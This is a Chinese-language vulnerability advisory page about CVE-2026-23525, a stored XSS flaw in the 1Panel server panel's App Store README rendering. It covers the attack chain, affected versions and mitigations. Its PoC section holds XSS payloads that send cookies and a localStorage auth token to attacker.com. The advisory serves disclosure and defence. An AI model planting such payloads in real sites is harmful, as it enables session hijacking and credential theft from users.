IPBUF安全漏洞报告
English
CVE-2026-23525 CVSS 6.4 中危

CVE-2026-23525: 1Panel App Store存储型XSS漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-23525
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
1Panel

相关标签

存储型XSS跨站脚本攻击1PanelLinux服务器管理面板App StoreMdEditor组件CVE-2026-23525会话劫持Web安全漏洞

漏洞概述

CVE-2026-23525是影响1Panel开源Linux服务器管理Web控制面板的存储型跨站脚本(XSS)漏洞。该漏洞存在于1Panel App Store的应用详情查看功能中,攻击者可以通过发布包含恶意脚本的应用,使其他用户在查看应用详情时执行任意JavaScript代码。由于漏洞位于App Store的README内容渲染过程中,恶意脚本会被永久存储在系统中,所有查看该应用详情的用户都会受到攻击。攻击成功后,攻击者可以窃取用户会话cookie、劫持用户账户、执行未经授权的系统操作,严重威胁系统的机密性、完整性和可用性。漏洞根本原因在于MdEditor组件在previewOnly模式下对渲染内容缺乏适当的XSS过滤和净化处理。

技术细节

该存储型XSS漏洞的触发点位于1Panel的App Store功能模块。当开发者或攻击者提交应用时,可以在应用的README文件中嵌入恶意JavaScript代码。由于MdEditor组件在previewOnly模式下启用了Markdown渲染功能,但在渲染过程中没有对HTML标签和JavaScript脚本进行适当的转义或过滤,导致嵌入的<script>标签或带事件处理器的内联HTML标签(如<img src=x onerror=...>)能够被浏览器正常解析执行。当普通用户通过App Store查看该应用的详情页面时,恶意代码会在用户的浏览器上下文中执行。由于MdEditor组件还被应用于系统升级相关功能,类似的XSS问题也可能存在于其他内容渲染场景中。攻击者可以利用此漏洞窃取存储在浏览器中的认证令牌、会话ID或其他敏感信息,进而冒充合法用户进行进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者在1Panel平台上注册账户并准备发布恶意应用
STEP 2
步骤2
攻击者构造包含XSS payload的README文件,使用<img>标签、<script>标签或SVG标签等嵌入恶意JavaScript代码
STEP 3
步骤3
攻击者将恶意应用提交到1Panel App Store,由于缺乏输入验证,payload被成功保存到系统中
STEP 4
步骤4
普通用户或管理员通过App Store浏览应用详情页面
STEP 5
步骤5
页面加载时,MdEditor组件渲染README内容,恶意脚本在用户浏览器上下文中执行
STEP 6
步骤6
恶意脚本窃取用户cookie、会话令牌或localStorage中的敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的凭证劫持用户会话,执行未经授权的操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- 恶意应用README payload示例 --> # Malicious App <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- 或使用script标签 --> <script> // 窃取用户会话信息 var session = document.cookie; var data = JSON.stringify({ url: window.location.href, cookie: session, localStorage: localStorage.getItem('auth_token') }); // 发送到攻击者控制的服务器 fetch('https://attacker.com/collect', { method: 'POST', body: data, headers: {'Content-Type': 'application/json'} }); // 进一步利用:修改用户设置或提权 console.log('XSS Payload Executed'); </script>

影响范围

1Panel v1.10.33-lts及以下版本
1Panel v2.0.16及以下版本

防御指南

临时缓解措施
在官方安全版本发布之前,建议暂时禁用App Store功能或限制非信任用户发布应用。同时可以部署WAF(Web应用防火墙)规则来检测和阻止常见的XSS payload,如<script>标签、onerror事件处理器等。用户应避免从不可信的来源安装应用,并在查看App Store内容时保持浏览器安全设置的最优配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表